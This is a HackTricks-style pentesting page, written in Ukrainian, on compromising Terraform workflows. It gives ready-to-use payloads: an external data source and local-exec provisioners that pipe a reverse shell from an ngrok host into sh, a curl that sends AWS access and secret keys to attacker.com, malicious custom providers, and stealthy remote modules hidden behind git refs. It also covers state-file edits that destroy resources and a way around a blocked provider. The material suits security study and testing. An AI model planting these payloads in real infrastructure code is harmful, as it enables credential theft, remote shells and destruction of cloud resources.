Terraform Security

Support HackTricks

Basic Information

From the docs:

HashiCorp Terraform — це інструмент інфраструктури як код, який дозволяє вам визначати як хмарні, так і локальні ресурси у конфігураційних файлах, що легко читаються, які ви можете версіювати, повторно використовувати та ділитися. Потім ви можете використовувати послідовний робочий процес для розгортання та управління всією вашою інфраструктурою протягом її життєвого циклу. Terraform може керувати низькорівневими компонентами, такими як обчислення, зберігання та мережеві ресурси, а також високорівневими компонентами, такими як DNS-записи та функції SaaS.

How does Terraform work?

Terraform створює та управляє ресурсами на хмарних платформах та інших сервісах через їхні інтерфейси програмування додатків (API). Провайдери дозволяють Terraform працювати практично з будь-якою платформою або сервісом з доступним API.

HashiCorp та спільнота Terraform вже написали більше 1700 провайдерів для управління тисячами різних типів ресурсів та сервісів, і ця кількість продовжує зростати. Ви можете знайти всі публічно доступні провайдери на Terraform Registry, включаючи Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog та багато інших.

Основний робочий процес Terraform складається з трьох етапів:

  • Написати: Ви визначаєте ресурси, які можуть бути на кількох хмарних провайдерах та сервісах. Наприклад, ви можете створити конфігурацію для розгортання програми на віртуальних машинах у мережі Virtual Private Cloud (VPC) з групами безпеки та балансувальником навантаження.

  • План: Terraform створює план виконання, що описує інфраструктуру, яку він створить, оновить або знищить на основі існуючої інфраструктури та вашої конфігурації.

  • Застосувати: Після затвердження Terraform виконує запропоновані операції в правильному порядку, дотримуючись будь-яких залежностей ресурсів. Наприклад, якщо ви оновлюєте властивості VPC і змінюєте кількість віртуальних машин у цьому VPC, Terraform спочатку відтворить VPC, перш ніж масштабувати віртуальні машини.

Terraform Lab

Просто встановіть terraform на свій комп'ютер.

Ось у вас є посібник, а ось найкращий спосіб завантажити terraform.

RCE in Terraform

Terraform не має платформи, що відкриває веб-сторінку або мережеву службу, яку ми можемо перерахувати, тому єдиний спосіб скомпрометувати terraform — це мати можливість додавати/модифікувати конфігураційні файли terraform.

Однак terraform є дуже чутливим компонентом для компрометації, оскільки він матиме привілейований доступ до різних місць, щоб працювати належним чином.

Основний спосіб для зловмисника скомпрометувати систему, на якій працює terraform, — це скомпрометувати репозиторій, що зберігає конфігурації terraform, оскільки в якийсь момент вони будуть інтерпретовані.

Насправді існують рішення, які автоматично виконують terraform plan/apply після створення PR, такі як Atlantis:

Якщо ви зможете скомпрометувати файл terraform, існують різні способи, якими ви можете виконати RCE, коли хтось виконує terraform plan або terraform apply.

Terraform plan

Terraform plan — це найбільш використовувана команда в terraform, і розробники/рішення, що використовують terraform, викликають її постійно, тому найпростіший спосіб отримати RCE — це переконатися, що ви отруїли конфігураційний файл terraform, який виконає довільні команди в terraform plan.

Використання зовнішнього провайдера

Terraform пропонує external provider, який забезпечує спосіб взаємодії між Terraform та зовнішніми програмами. Ви можете використовувати джерело даних external, щоб виконати довільний код під час plan.

Впровадження в конфігураційний файл terraform чогось на зразок наступного виконає rev shell під час виконання terraform plan:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Використання кастомного провайдера

Атакуючий може надіслати кастомний провайдер до Terraform Registry і потім додати його до коду Terraform у функціональній гілці (приклад звідси):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

Провайдер завантажується в init і запустить шкідливий код, коли буде виконано plan

Ви можете знайти приклад у https://github.com/rung/terraform-provider-cmdexec

Використання зовнішнього посилання

Обидва згадані варіанти корисні, але не дуже приховані (другий варіант більш прихований, але складніший за перший). Ви можете виконати цю атаку навіть більш приховано, дотримуючись цих порад:

  • Замість того, щоб додавати rev shell безпосередньо в файл terraform, ви можете завантажити зовнішній ресурс, який містить rev shell:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Ви можете знайти код rev shell за посиланням https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • У зовнішньому ресурсі використовуйте функцію ref, щоб приховати код terraform rev shell в гілці всередині репозиторію, щось на зразок: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Terraform Apply

Terraform apply буде виконано для застосування всіх змін, ви також можете зловживати цим, щоб отримати RCE, інжектуючи зловмисний Terraform файл з local-exec. Вам просто потрібно переконатися, що деякий payload, наприклад, наступні, закінчується у файлі main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Слідуйте рекомендаціям з попередньої техніки, щоб виконати цю атаку більш приховано, використовуючи зовнішні посилання.

Витоки секретів

Ви можете отримати значення секретів, які використовуються terraform, вивантаживши команду terraform apply, додавши до файлу terraform щось на зразок:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Зловживання файлами стану Terraform

У випадку, якщо у вас є права на запис у файли стану terraform, але ви не можете змінити код terraform, це дослідження пропонує кілька цікавих варіантів використання файлу:

Видалення ресурсів

Існує 2 способи знищити ресурси:

  1. Вставити ресурс з випадковою назвою у файл стану, що вказує на реальний ресурс для знищення

Оскільки terraform побачить, що ресурс не повинен існувати, він його знищить (слідуючи за реальним ідентифікатором ресурсу, що вказаний). Приклад з попередньої сторінки:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. Змініть ресурс для видалення таким чином, щоб його не можна було оновити (щоб його видалили і відтворили)

Для EC2 інстансу, зміна типу інстансу є достатньою для того, щоб terraform видалив і відтворив його.

RCE

Також можливо створити власного провайдера і просто замінити одного з провайдерів у файлі стану terraform на шкідливий або додати порожній ресурс з шкідливим провайдером. Приклад з оригінального дослідження:

"resources": [
{
"mode": "managed",
"type": "scaffolding_example",
"name": "example",
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
"instances": [

]
},

Замініть заблокований провайдер

У разі, якщо ви зіткнетеся з ситуацією, коли hashicorp/external був заблокований, ви можете повторно реалізувати провайдер external, виконавши наступні дії. Примітка: Ми використовуємо форк провайдера external, опублікований на https://registry.terraform.io/providers/nazarewk/external/latest. Ви також можете опублікувати свій власний форк або повторну реалізацію.

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

Тоді ви можете використовувати external як зазвичай.

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

Інструменти аудиту

  • tfsec: tfsec використовує статичний аналіз вашого коду terraform для виявлення потенційних неправильних налаштувань.

  • terascan: Terrascan - це статичний аналізатор коду для Інфраструктури як Код.

Посилання

Підтримайте HackTricks

Last updated